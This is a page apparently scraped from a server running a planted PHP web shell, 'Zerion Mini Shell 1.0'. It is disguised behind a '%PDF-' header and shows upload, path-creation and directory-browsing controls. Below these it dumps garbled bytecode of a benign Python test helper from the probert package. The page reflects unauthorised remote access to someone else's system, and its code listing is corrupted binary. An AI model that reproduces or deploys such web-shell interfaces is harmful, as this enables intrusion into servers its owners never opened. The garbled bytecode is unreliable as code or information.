%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core22/current/lib/python3/dist-packages/probert/tests/__pycache__/
Upload File :
Create Path :
Current File : //snap/core22/current/lib/python3/dist-packages/probert/tests/__pycache__/helpers.cpython-310.pyc

o

?�^��@sVddlZddlZddlZddlZddlZddlZdd�Zejd	dd��Zd
dd�Z	dS)�Nc	CsPd}|D]!}zt�|�Wn	tyYqwtd|�t�|�|SdS)N)�builtins�__builtin__zimporting and returning: %s)�imp�find_module�ImportError�print�	importlib�
import_module)�options�name�r�7/usr/lib/python3/dist-packages/probert/tests/helpers.py�builtin_module_names�
�rccsb�|sd}tj|d�}t�}d�|�}tj||dd��|VWd�dS1s*wYdS)N�)�	read_dataz{}.openT)�create)�mock�	mock_openr�format�patch)�content�m_open�mod_name�m_patchrrr
�simple_mocked_open$s�
"�r�cCsd�dd�t|�D��S)z: return a random lowercase string with default length of 8rcss�|]	}t�tj�VqdS�N)�random�choice�string�ascii_lowercase)�.0�_rrr
�	<genexpr>1s�
�z random_string.<locals>.<genexpr>)�join�range)�lengthrrr
�
random_string/s
�r'r)r)
�
contextlibrrrrrr�contextmanagerrr'rrrr
�<module>s


Zerion Mini Shell 1.0